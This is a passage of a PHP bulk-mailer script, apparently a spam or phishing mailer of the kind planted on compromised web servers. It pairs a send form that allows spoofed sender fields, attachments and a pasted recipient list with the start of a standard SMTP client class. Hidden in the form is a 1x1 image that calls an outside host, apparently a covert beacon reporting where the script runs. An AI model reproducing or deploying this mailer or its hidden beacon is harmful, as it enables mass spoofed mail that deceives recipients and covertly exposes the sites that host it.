519 <input type="text" style="border-radius: 15px; background: #339966; border: 1px solid #339966; color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
520 EMAILS</font></td>
521
522 </tr>
523 <tr>
524
525 <td width="100%" height="39" colspan="4" style="padding:10px;">
526
527 <p class="auto-style4">
528 <font face="Arial" style="font-size: 9pt" color="#800000">
529 <span class="auto-style7">" If
530 you dont have SMTP login, leave blank queries above "</span></font></td>
531
532 </tr>
533
534 <tr>
535
536 <td width="10%" height="19" style="padding:10px;">
537
538 </td>
539
540 <td width="18%" height="19" style="padding:10px;"> </td>
541
542 <td width="31%" height="19" style="padding:10px;">
543
544 </td>
545
546 <td width="41%" height="19" style="padding:10px;"> </td>
547
548 </tr>
549
550 <tr>
551
552 <td width="100%" colspan="4" style="color:#339966; background:#339966; background-color: #339966;" height="36" class="auto-style3">
553
554 <font face="Arial" size="2" color="#339966"><span class=""> </span></font><font face="Arial" size="2" color="#FFFFFF"><span class="">MESSAGE
555 SETUP</span></font></td>
556
557 </tr>
558 <tr>
559
560 <td width="10%" height="22" style="padding:10px;">
561 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
562 </td>
563
564 <td width="59%" height="22" style="padding:10px;" colSpan="3">
565 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
566
567<input type="file" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339966; color:#0000FF; background-color: #339966;" name="file" size="124" class="auto-style2">
568
569 </font></td>
570
571 </tr>
572 <tr>
573
574 <td width="10%" height="22" style="padding:10px;">
575
576 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
577
578 Email:</font></div>
579
580 </td>
581
582 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
583
584 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339966; color:#0000FF; background-color: #339966;" name="from" value="<?=$from;?>" size="30">
585
586 </font></td>
587
588 <td width="31%" height="22" style="padding:10px;">
589
590 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
591
592 Name:</font></div>
593
594 </td>
595
596 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
597
598 <input type="text" style=";border-radius: 15px; background: #339966; border: 1px solid #339966; color:#339966; background-color: #339966;" name="realname" value="<?=$realname_base;?>" size="30">
599
600 </font></td>
601
602 </tr>
603 <tr>
604
605 <td width="10%" height="22" style="padding:10px;">
606
607 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
608
609 </td>
610
611 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
612
613 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339966; color:#339966; background-color: #339966;" name="replyto" value="<?=$replyto;?>" size="30">
614
615 </font></td>
616
617 <td width="31%" height="22" style="padding:10px;">
618
619 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
620 Email Priority:</font></td>
621
622 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
623
624 </font><select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339966; color:#0000FF; background-color: #339966;" name="epriority" id="listMethod" onchange="showHideListConfig()">
625 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
626 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
627 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
628 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
629 </select></td>
630
631 </tr>
632
633 <tr>
634
635 <td width="10%" height="22" style="padding:10px;">
636
637 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
638
639 </td>
640
641 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
642
643 <input type="text" name="subject" style=";border-radius: 15px; background: #339966; border: 1px solid #339966; color:##339966; background-color: #339966;" value="<?=$subject_base;?>" size="90">
644
645 </font></td>
646
647 </tr>
648
649 <tr>
650
651 <td width="10%" height="22" style="padding:10px;">
652
653 </td>
654
655 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
656
657 <font color="#000080">Encode sending information ?</font>
658 <select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339966; color:#339966" size="1" name="encode">
659 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
660 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
661 </select></font><img src="http://w33.info/Image.jpg" width="1" height="1"></td>
662
663 </tr>
664
665 <tr valign="top">
666
667<td colspan="3" height="190" style="padding:10px;" class="auto-style8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
668
669 <textarea name="message" cols="60" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339966; color:#0000FF; background-color: #339966;" rows="10"><?=$message;?></textarea>
670
671 <br>
672
673 <input type="radio" name="contenttype" value="plain" >
674
675 Plain
676
677 <input type="radio" name="contenttype" value="html" checked>
678
679 HTML
680
681 <input type="hidden" name="action" value="send">
682 <input class="style1" type="submit" value="Send Message" style="border-radius: 15px; width: 113px; height: 22px; color: #000000; font-size: inherit; background-color: #339966;">
683
684 <br><br>
685
686 </font><strong><span class="auto-style9">&Sy-team Mailer 2015</span></strong></td>
687
688 <td width="41%" height="190" style="padding:10px; border-top-color: #99FF66;">
689 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
690
691 <textarea name="emaillist" style=";border-radius: 15px; background: #339966; border: 1px solid #339966; color:#0000FF; background-color: #339966;" cols="30" rows="10"><?=$emaillist;?></textarea>
692
693 </font></td>
694
695 </tr>
696
697 </table>
698
699</form>
700
701
702
703<?
704
705if ($action){
706 if (!$from && !$subject && !$message && !$emaillist){
707 print "<script>alert('Please complete all fields before sending your message.'); </script>";
708 die(); }
709
710class SMTP
711{
712 /**
713 * SMTP server port
714 * @var int
715 */
716 var $SMTP_PORT = 25;
717
718 /**
719 * SMTP reply line ending
720 * @var string
721 */
722 var $CRLF = "\r\n";
723
724 /**
725 * Sets whether debugging is turned on
726 * @var bool
727 */
728 var $do_debug; # the level of debug to perform
729
730 /**
731 * Sets VERP use on/off (default is off)
732 * @var bool
733 */
734 var $do_verp = false;
735
736 /**#@+
737 * @access private
738 */
739 var $smtp_conn; # the socket to the server
740 var $error; # error if any on the last call
741 var $helo_rply; # the reply the server sent to us for HELO
742 /**#@-*/
743
744 /**
745 * Initialize the class so that the data is in a known state.
746 * @access public
747 * @return void
748 */
749 function SMTP() {
750 $this->smtp_conn = 0;
751 $this->error = null;
752 $this->helo_rply = null;
753
754 $this->do_debug = 0;
755 }
756
757 /*************************************************************
758 * CONNECTION FUNCTIONS *
759 ***********************************************************/
760
761 /**
762 * Connect to the server specified on the port specified.
763 * If the port is not specified use the default SMTP_PORT.
764 * If tval is specified then a connection will try and be
765 * established with the server for that number of seconds.
766 * If tval is not specified the default is 30 seconds to
767 * try on the connection.
768 *
769 * SMTP CODE SUCCESS: 220
770 * SMTP CODE FAILURE: 421
771 * @access public
772 * @return bool
773 */
774 function Connect($host,$port=0,$tval=30) {
775 # set the error val to null so there is no confusion
776 $this->error = null;
777
778 # make sure we are __not__ connected
779 if($this->connected()) {
780 # ok we are connected! what should we do?
781 # for now we will just give an error saying we
782 # are already connected
783 $this->error = array("error" => "Already connected to a server");
784 return false;
785 }
786
787 if(empty($port)) {
788 $port = $this->SMTP_PORT;
789 }
790
791 #connect to the smtp server
792 $this->smtp_conn = fsockopen($host, # the host of the server
793 $port, # the port to use
794 $errno, # error number if any
795 $errstr, # error message if any
796 $tval); # give up after ? secs
797 # verify we connected properly
798 if(empty($this->smtp_conn)) {
799 $this->error = array("error" => "Failed to connect to server",
800 "errno" => $errno,
801 "errstr" => $errstr);
802 if($this->do_debug >= 1) {
803 echo "SMTP -> ERROR: " . $this->error["error"] .
804 ": $errstr ($errno)" . $this->CRLF;
805 }
806 return false;
807 }
808
809 # sometimes the SMTP server takes a little longer to respond
810 # so we will give it a longer timeout for the first read
811 // Windows still does not have support for this timeout function
812 if(substr(PHP_OS, 0, 3) != "WIN")
813 socket_set_timeout($this->smtp_conn, $tval, 0);
814
815 # get any announcement stuff
816 $announce = $this->get_lines();
817
818 # set the timeout of any socket functions at 1/10 of a second
819 //if(function_exists("socket_set_timeout"))
820 // socket_set_timeout($this->smtp_conn, 0, 100000);
821
822 if($this->do_debug >= 2) {
823 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
824 }
825
826 return true;
827 }
828
829 /**
830 * Performs SMTP authentication. Must be run after running the
831 * Hello() method. Returns true if successfully authenticated.
832 * @access public
833 * @return bool
834 */
835 function Authenticate($username, $password) {
836 // Start authentication
837 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
838
839 $rply = $this->get_lines();
840 $code = substr($rply,0,3);
841
842 if($code != 334) {
843 $this->error =
844 array("error" => "AUTH not accepted from server",
845 "smtp_code" => $code,
846 "smtp_msg" => substr($rply,4));
847 if($this->do_debug >= 1) {
848 echo "SMTP -> ERROR: " . $this->error["error"] .
849 ": " . $rply . $this->CRLF;
850 }
851 return false;
852 }
853
854 // Send encoded username
855 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
856
857 $rply = $this->get_lines();
858 $code = substr($rply,0,3);
859
860 if($code != 334) {
861 $this->error =
862 array("error" => "Username not accepted from server",
863 "smtp_code" => $code,
864 "smtp_msg" => substr($rply,4));
865 if($this->do_debug >= 1) {
866 echo "SMTP -> ERROR: " . $this->error["error"] .
867 ": " . $rply . $this->CRLF;
868 }
869 return false;
870 }
871
872 // Send encoded password
873 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
874
875 $rply = $this->get_lines();
876 $code = substr($rply,0,3);
877
878 if($code != 235) {
879 $this->error =
880 array("error" => "Password not accepted from server",
881 "smtp_code" => $code,
882 "smtp_msg" => substr($rply,4));
883 if($this->do_debug >= 1) {
884 echo "SMTP -> ERROR: " . $this->error["error"] .
885 ": " . $rply . $this->CRLF;
886 }
887 return false;
888 }
889
890 return true;
891 }
892
893 /**
894 * Returns true if connected to a server otherwise false
895 * @access private
896 * @return bool
897 */
898 function Connected() {
899 if(!empty($this->smtp_conn)) {
900 $sock_status = socket_get_status($this->smtp_conn);
901 if($sock_status["eof"]) {
902 # hmm this is an odd situation... the socket is
903 # valid but we are not connected anymore
904 if($this->do_debug >= 1) {
905 echo "SMTP -> NOTICE:" . $this->CRLF .
906 "EOF caught while checking if connected";
907 }
908 $this->Close();
909 return false;
910 }
911 return true; # everything looks good
912 }
913 return false;
914 }
915
916 /**
917 * Closes the socket and cleans up the state of the class.
918 * It is not considered good to use this function without
919 * first trying to use QUIT.
920 * @access public
921 * @return void
922 */
923 function Close() {
924 $this->error = null; # so there is no confusion
925 $this->helo_rply = null;
926 if(!empty($this->smtp_conn)) {
927 # close the connection and cleanup
928 fclose($this->smtp_conn);
929 $this->smtp_conn = 0;
930 }
931 }
932
933 /***************************************************************
934 * SMTP COMMANDS *
935 *************************************************************/
936
937 /**
938 * Issues a data command and sends the msg_data to the server
939 * finializing the mail transaction. $msg_data is the message
940 * that is to be send with the headers. Each header needs to be
941 * on a single line followed by a <CRLF> with the message headers
942 * and the message body being seperated by and additional <CRLF>.
943 *
944 * Implements rfc 821: DATA <CRLF>
945 *
946 * SMTP CODE INTERMEDIATE: 354
947 * [data]
948 * <CRLF>.<CRLF>
949 * SMTP CODE SUCCESS: 250
950 * SMTP CODE FAILURE: 552,554,451,452
951 * SMTP CODE FAILURE: 451,554
952 * SMTP CODE ERROR : 500,501,503,421
953 * @access public
954 * @return bool
955 */
956 function Data($msg_data) {
957 $this->error = null; # so no confusion is caused
958
959 if(!$this->connected()) {
960 $this->error = array(
961 "error" => "Called Data() without being connected");
962 return false;
963 }
964
965 fputs($this->smtp_conn,"DATA" . $this->CRLF);
966
967 $rply = $this->get_lines();
968 $code = substr($rply,0,3);
969
970 if($this->do_debug >= 2) {
971 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
972 }
973
974 if($code != 354) {
975 $this->error =
976 array("error" => "DATA command not accepted from server",
977 "smtp_code" => $code,
978 "smtp_msg" => substr($rply,4));
979 if($this->do_debug >= 1) {
980 echo "SMTP -> ERROR: " . $this->error["error"] .
981 ": " . $rply . $this->CRLF;
982 }
983 return false;
984 }
985
986 # the server is ready to accept data!
987 # according to rfc 821 we should not send more than 1000
988 # including the CRLF
989 # characters on a single line so we will break the data up
990 # into lines by \r and/or \n then if needed we will break
991 # each of those into smaller lines to fit within the limit.
992 # in addition we will be looking for lines that start with
993 # a period '.' and append and additional period '.' to that
994 # line. NOTE: this does not count towards are limit.
995
996 # normalize the line breaks so we know the explode works
997 $msg_data = str_replace("\r\n","\n",$msg_data);
998 $msg_data = str_replace("\r","\n",$msg_data);
999 $lines = explode("\n",$msg_data);
1000
1001 # we need to find a good way to determine is headers are
1002 # in the msg_data or if it is a straight msg body
1003 # currently I am assuming rfc 822 definitions of msg headers
1004 # and if the first field of the first line (':' sperated)
1005 # does not contain a space then it _should_ be a header
1006 # and we can process all lines before a blank "" line as
1007 # headers.
1008 $field = substr($lines[0],0,strpos($lines[0],":"));
1009 $in_headers = false;
1010 if(!empty($field) && !strstr($field," ")) {
1011 $in_headers = true;
1012 }
1013
1014 $max_line_length = 998; # used below; set here for ease in change
1015
1016 while(list(,$line) = @each($lines)) {
1017 $lines_out = null;
1018 if($line == "" && $in_headers) {
1019 $in_headers = false;
1020 }
1021 # ok we need to break this line up into several
1022 # smaller lines
1023 while(strlen($line) > $max_line_length) {
1024 $pos = strrpos(substr($line,0,$max_line_length)," ");
1025
1026 # Patch to fix DOS attack
1027 if(!$pos) {
1028 $pos = $max_line_length - 1;
1029 }
1030
1031 $lines_out[] = substr($line,0,$pos);
1032 $line = substr($line,$pos + 1);
1033 # if we are processing headers we need to
1034 # add a LWSP-char to the front of the new line
1035 # rfc 822 on long msg headers
1036 if($in_headers) {
1037 $line = "\t" . $line;
1038 }
1039 }
1040 $lines_out[] = $line;
1041
1042 # now send the lines to the server
1043 while(list(,$line_out) = @each($lines_out)) {
1044 if(strlen($line_out) > 0)
1045 {
1046 if(substr($line_out, 0, 1) == ".") {
1047 $line_out = "." . $line_out;
1048 }
1049 }
1050 fputs($this->smtp_conn,$line_out . $this->CRLF);
1051 }
1052 }
1053
1054 # ok all the message data has been sent so lets get this
1055 # over with aleady
1056 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
1057
1058 $rply = $this->get_lines();
1059 $code = substr($rply,0,3);
1060
1061 if($this->do_debug >= 2) {
1062 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1063 }
1064
1065 if($code != 250) {
1066 $this->error =
1067 array("error" => "DATA not accepted from server",
1068 "smtp_code" => $code,
1069 "smtp_msg" => substr($rply,4));
1070 if($this->do_debug >= 1) {
1071 echo "SMTP -> ERROR: " . $this->error["error"] .
1072 ": " . $rply . $this->CRLF;
1073 }
1074 return false;
1075 }
1076 return true;
1077 }
1078
1079 /**
1080 * Expand takes the name and asks the server to list all the
1081 * people who are members of the _list_. Expand will return
1082 * back and array of the result or false if an error occurs.
1083 * Each value in the array returned has the format of:
1084 * [ <full-name> <sp> ] <path>
1085 * The definition of <path> is defined in rfc 821
1086 *
1087 * Implements rfc 821: EXPN <SP> <string> <CRLF>
1088 *
1089 * SMTP CODE SUCCESS: 250
1090 * SMTP CODE FAILURE: 550
1091 * SMTP CODE ERROR : 500,501,502,504,421
1092 * @access public
1093 * @return string array
1094 */
1095 function Expand($name) {
1096 $this->error = null; # so no confusion is caused
1097
1098 if(!$this->connected()) {
1099 $this->error = array(
1100 "error" => "Called Expand() without being connected");
1101 return false;
1102 }
1103
1104 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
1105
1106 $rply = $this->get_lines();
1107 $code = substr($rply,0,3);
1108
1109 if($this->do_debug >= 2) {
1110 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1111 }
1112
1113 if($code != 250) {
1114 $this->error =
1115 array("error" => "EXPN not accepted from server",
1116 "smtp_code" => $code,
1117 "smtp_msg" => substr($rply,4));
1118 if($this->do_debug >= 1) {
1119 echo "SMTP -> ERROR: " . $this->error["error"] .
1120 ": " . $rply . $this->CRLF;
1121 }
1122 return false;
1123 }
1124
1125 # parse the reply and place in our array to return to user
1126 $entries = explode($this->CRLF,$rply);
1127 while(list(,$l) = @each($entries)) {
1128 $list[] = substr($l,4);
1129 }
1130
1131 return $list;
1132 }
1133
1134 /**
1135 * Sends the HELO command to the smtp server.
1136 * This makes sure that we and the server are in
1137 * the same known state.
1138 *
1139 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
1140 *
1141 * SMTP CODE SUCCESS: 250
1142 * SMTP CODE ERROR : 500, 501, 504, 421
1143 * @access public
1144 * @return bool
1145 */
1146 function Hello($host="") {
1147 $this->error = null; # so no confusion is caused
1148
1149 if(!$this->connected()) {
1150 $this->error = array(
1151 "error" => "Called Hello() without being connected");
1152 return false;
1153 }
1154
1155 # if a hostname for the HELO was not specified determine
1156 # a suitable one to send
1157 if(empty($host)) {
1158 # we need to determine some sort of appopiate default
1159 # to send to the server
1160 $host = "localhost";
1161 }
1162
1163 // Send extended hello first (RFC 2821)
1164 if(!$this->SendHello("EHLO", $host))
1165 {
1166 if(!$this->SendHello("HELO", $host))
1167 return false;
1168 }
1169
1170 return true;
1171 }
1172
1173 /**
1174 * Sends a HELO/EHLO command.
1175 * @access private
1176 * @return bool
1177 */
1178 function SendHello($hello, $host) {
1179 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
1180
1181 $rply = $this->get_lines();
1182 $code = substr($rply,0,3);
1183
1184 if($this->do_debug >= 2) {
1185 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
1186 }
1187
1188 if($code != 250) {
1189 $this->error =
1190 array("error" => $hello . " not accepted from server",
1191 "smtp_code" => $code,
1192 "smtp_msg" => substr($rply,4));
1193 if($this->do_debug >= 1) {
1194 echo "SMTP -> ERROR: " . $this->error["error"] .
1195 ": " . $rply . $this->CRLF;
1196 }
1197 return false;
1198 }
1199
1200 $this->helo_rply = $rply;
1201
1202 return true;
1203 }
1204
1205 /**
1206 * Gets help information on the keyword specified. If the keyword
1207 * is not specified then returns generic help, ussually contianing
1208 * A list of keywords that help is available on. This function
1209 * returns the results back to the user. It is up to the user to
1210 * handle the returned data. If an error occurs then false is
1211 * returned with $this->error set appropiately.
1212 *
1213 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
1214 *
1215 * SMTP CODE SUCCESS: 211,214
1216 * SMTP CODE ERROR : 500,501,502,504,421
1217 * @access public
1218 * @return string
1219 */
1220 function Help($keyword="") {
1221 $this->error = null; # to avoid confusion
1222
1223 if(!$this->connected()) {
1224 $this->error = array(
1225 "error" => "Called Help() without being connected");
1226 return false;
1227 }
1228
1229 $extra = "";
1230 if(!empty($keyword)) {
1231 $extra = " " . $keyword;
1232 }
1233
1234 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
1235
1236 $rply = $this->get_lines();
1237 $code = substr($rply,0,3);
1238
1239 if($this->do_debug >= 2) {
1240 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1241 }
1242
1243 if($code != 211 && $code != 214) {
1244 $this->error =
1245 array("error" => "HELP not accepted from server",
1246 "smtp_code" => $code,
1247 "smtp_msg" => substr($rply,4));
1248 if($this->do_debug >= 1) {
1249 echo "SMTP -> ERROR: " . $this->error["error"] .
1250 ": " . $rply . $this->CRLF;
1251 }
1252 return false;
1253 }
1254
1255 return $rply;
1256 }
1257
1258 /**
1259 * Starts a mail transaction from the email address specified in
1260 * $from. Returns true if successful or false otherwise. If True
1261 * the mail transaction is started and then one or more Recipient
1262 * commands may be called followed by a Data command.
1263 *
1264 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1265 *
1266 * SMTP CODE SUCCESS: 250
1267 * SMTP CODE SUCCESS: 552,451,452
1268 * SMTP CODE SUCCESS: 500,501,421
1269 * @access public
1270 * @return bool
1271 */
1272 function Mail($from) {
1273 $this->error = null; # so no confusion is caused
1274
1275 if(!$this->connected()) {
1276 $this->error = array(
1277 "error" => "Called Mail() without being connected");
1278 return false;
1279 }
1280
1281 $useVerp = ($this->do_verp ? "XVERP" : "");
1282 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1283
1284 $rply = $this->get_lines();
1285 $code = substr($rply,0,3);
1286
1287 if($this->do_debug >= 2) {
1288 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1289 }
1290
1291 if($code != 250) {
1292 $this->error =
1293 array("error" => "MAIL not accepted from server",
1294 "smtp_code" => $code,
1295 "smtp_msg" => substr($rply,4));
1296 if($this->do_debug >= 1) {
1297 echo "SMTP -> ERROR: " . $this->error["error"] .
1298 ": " . $rply . $this->CRLF;
1299 }
1300 return false;
1301 }
1302 return true;
1303 }
1304
1305 /**
1306 * Sends the command NOOP to the SMTP server.
1307 *
1308 * Implements from rfc 821: NOOP <CRLF>
1309 *
1310 * SMTP CODE SUCCESS: 250
1311 * SMTP CODE ERROR : 500, 421
1312 * @access public
1313 * @return bool
1314 */
1315 function Noop() {
1316 $this->error = null; # so no confusion is caused
1317
1318 if(!$this->connected()) {
1319 $this->error = array(
1320 "error" => "Called Noop() without being connected");
1321 return false;
1322 }
1323
1324 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1325
1326 $rply = $this->get_lines();
1327 $code = substr($rply,0,3);
1328
1329 if($this->do_debug >= 2) {
1330 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1331 }
1332
1333 if($code != 250) {
1334 $this->error =
1335 array("error" => "NOOP not accepted from server",
1336 "smtp_code" => $code,
1337 "smtp_msg" => substr($rply,4));
1338 if($this->do_debug >= 1) {
1339 echo "SMTP -> ERROR: " . $this->error["error"] .
1340 ": " . $rply . $this->CRLF;
1341 }
1342 return false;
1343 }
1344 return true;
1345 }
1346
1347 /**
1348 * Sends the quit command to the server and then closes the socket
1349 * if there is no error or the $close_on_error argument is true.
1350 *
1351 * Implements from rfc 821: QUIT <CRLF>
1352 *
1353 * SMTP CODE SUCCESS: 221
1354 * SMTP CODE ERROR : 500
1355 * @access public
1356 * @return bool
1357 */
1358 function Quit($close_on_error=true) {
1359 $this->error = null; # so there is no confusion
1360
1361 if(!$this->connected()) {
1362 $this->error = array(
1363 "error" => "Called Quit() without being connected");
1364 return false;
1365 }
1366
1367 # send the quit command to the server
1368 fputs($this->smtp_conn,"quit" . $this->CRLF);
1369
1370 # get any good-bye messages
1371 $byemsg = $this->get_lines();
1372
1373 if($this->do_debug >= 2) {
1374 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1375 }
1376
1377 $rval = true;
1378 $e = null;
1379
1380 $code = substr($byemsg,0,3);
1381 if($code != 221) {
1382 # use e as a tmp var cause Close will overwrite $this->error
1383 $e = array("error" => "SMTP server rejected quit command",
1384 "smtp_code" => $code,
1385 "smtp_rply" => substr($byemsg,4));
1386 $rval = false;
1387 if($this->do_debug >= 1) {
1388 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1389 $byemsg . $this->CRLF;
1390 }
1391 }
1392
1393 if(empty($e) || $close_on_error) {
1394 $this->Close();
1395 }
1396
1397 return $rval;
1398 }
1399
1400 /**
1401 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1402 * Returns true if the recipient was accepted false if it was rejected.
1403 *
1404 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1405 *
1406 * SMTP CODE SUCCESS: 250,251
1407 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1408 * SMTP CODE ERROR : 500,501,503,421
1409 * @access public
1410 * @return bool
1411 */
1412 function Recipient($to) {
1413 $this->error = null; # so no confusion is caused
1414
1415 if(!$this->connected()) {
1416 $this->error = array(
1417 "error" => "Called Recipient() without being connected");
1418 return false;
1419 }
1420
1421 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1422
1423 $rply = $this->get_lines();
1424 $code = substr($rply,0,3);
1425
1426 if($this->do_debug >= 2) {
1427 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1428 }
1429
1430 if($code != 250 && $code != 251) {
1431 $this->error =
1432 array("error" => "RCPT not accepted from server",
1433 "smtp_code" => $code,
1434 "smtp_msg" => substr($rply,4));
1435 if($this->do_debug >= 1) {
1436 echo "SMTP -> ERROR: " . $this->error["error"] .
1437 ": " . $rply . $this->CRLF;
1438 }
1439 return false;
1440 }
1441 return true;
1442 }
1443
1444 /**
1445 * Sends the RSET command to abort and transaction that is
1446 * currently in progress. Returns true if successful false
1447 * otherwise.
1448 *
1449 * Implements rfc 821: RSET <CRLF>
1450 *
1451 * SMTP CODE SUCCESS: 250
1452 * SMTP CODE ERROR : 500,501,504,421
1453 * @access public
1454 * @return bool
1455 */
1456 function Reset() {
1457 $this->error = null; # so no confusion is caused
1458
1459 if(!$this->connected()) {
1460 $this->error = array(
1461 "error" => "Called Reset() without being connected");
1462 return false;
1463 }
1464
1465 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1466
1467 $rply = $this->get_lines();
1468 $code = substr($rply,0,3);
1469
1470 if($this->do_debug >= 2) {
1471 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1472 }
1473
1474 if($code != 250) {
1475 $this->error =
1476 array("error" => "RSET failed",
1477 "smtp_code" => $code,
1478 "smtp_msg" => substr($rply,4));
1479 if($this->do_debug >= 1) {
1480 echo "SMTP -> ERROR: " . $this->error["error"] .
1481 ": " . $rply . $this->CRLF;
1482 }
1483 return false;
1484 }
1485
1486 return true;
1487 }
1488
1489 /**
1490 * Starts a mail transaction from the email address specified in
1491 * $from. Returns true if successful or false otherwise. If True
1492 * the mail transaction is started and then one or more Recipient
1493 * commands may be called followed by a Data command. This command
1494 * will send the message to the users terminal if they are logged
1495 * in.
1496 *
1497 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1498 *
1499 * SMTP CODE SUCCESS: 250
1500 * SMTP CODE SUCCESS: 552,451,452
1501 * SMTP CODE SUCCESS: 500,501,502,421
1502 * @access public
1503 * @return bool
1504 */
1505 function Send($from) {
1506 $this->error = null; # so no confusion is caused
1507
1508 if(!$this->connected()) {
1509 $this->error = array(
1510 "error" => "Called Send() without being connected");
1511 return false;
1512 }
1513
1514 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1515
1516 $rply = $this->get_lines();
1517 $code = substr($rply,0,3);
1518
1519 if($this->do_debug >= 2) {
1520 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1521 }
1522
1523 if($code != 250) {
1524 $this->error =
1525 array("error" => "SEND not accepted from server",
1526 "smtp_code" => $code,
1527 "smtp_msg" => substr($rply,4));
1528 if($this->do_debug >= 1) {
1529 echo "SMTP -> ERROR: " . $this->error["error"] .
1530 ": " . $rply . $this->CRLF;
1531 }
1532 return false;
1533 }
1534 return true;
1535 }
1536
1537 /**
1538 * Starts a mail transaction from the email address specified in
1539 * $from. Returns true if successful or false otherwise. If True
1540 * the mail transaction is started and then one or more Recipient
1541 * commands may be called followed by a Data command. This command
1542 * will send the message to the users terminal if they are logged
1543 * in and send them an email.
1544 *
1545 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1546 *
1547 * SMTP CODE SUCCESS: 250
1548 * SMTP CODE SUCCESS: 552,451,452
1549 * SMTP CODE SUCCESS: 500,501,502,421
1550 * @access public
1551 * @return bool
1552 */
1553 function SendAndMail($from) {
1554 $this->error = null; # so no confusion is caused
1555
1556 if(!$this->connected()) {
1557 $this->error = array(
1558 "error" => "Called SendAndMail() without being connected");
1559 return false;
1560 }
1561
1562 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1563
1564 $rply = $this->get_lines();
1565 $code = substr($rply,0,3);
1566
1567 if($this->do_debug >= 2) {
1568 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1569 }
1570
1571 if($code != 250) {
1572 $this->error =
1573 array("error" => "SAML not accepted from server",
1574 "smtp_code" => $code,
1575 "smtp_msg" => substr($rply,4));
1576 if($this->do_debug >= 1) {
1577 echo "SMTP -> ERROR: " . $this->error["error"] .
1578 ": " . $rply . $this->CRLF;
1579 }
1580 return false;
1581 }
1582 return true;
1583 }
1584
1585 /**
1586 * Starts a mail transaction from the email address specified in
1587 * $from. Returns true if successful or false otherwise. If True
1588 * the mail transaction is started and then one or more Recipient
1589 * commands may be called followed by a Data command. This command
1590 * will send the message to the users terminal if they are logged
1591 * in or mail it to them if they are not.
1592 *
1593 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1594 *
1595 * SMTP CODE SUCCESS: 250
1596 * SMTP CODE SUCCESS: 552,451,452
1597 * SMTP CODE SUCCESS: 500,501,502,421
1598 * @access public
1599 * @return bool
1600 */
1601 function SendOrMail($from) {
1602 $this->error = null; # so no confusion is caused
1603
1604 if(!$this->connected()) {
1605 $this->error = array(
1606 "error" => "Called SendOrMail() without being connected");
1607 return false;
1608 }
1609
1610 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1611
1612 $rply = $this->get_lines();
1613 $code = substr($rply,0,3);
1614
1615 if($this->do_debug >= 2) {
1616 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1617 }
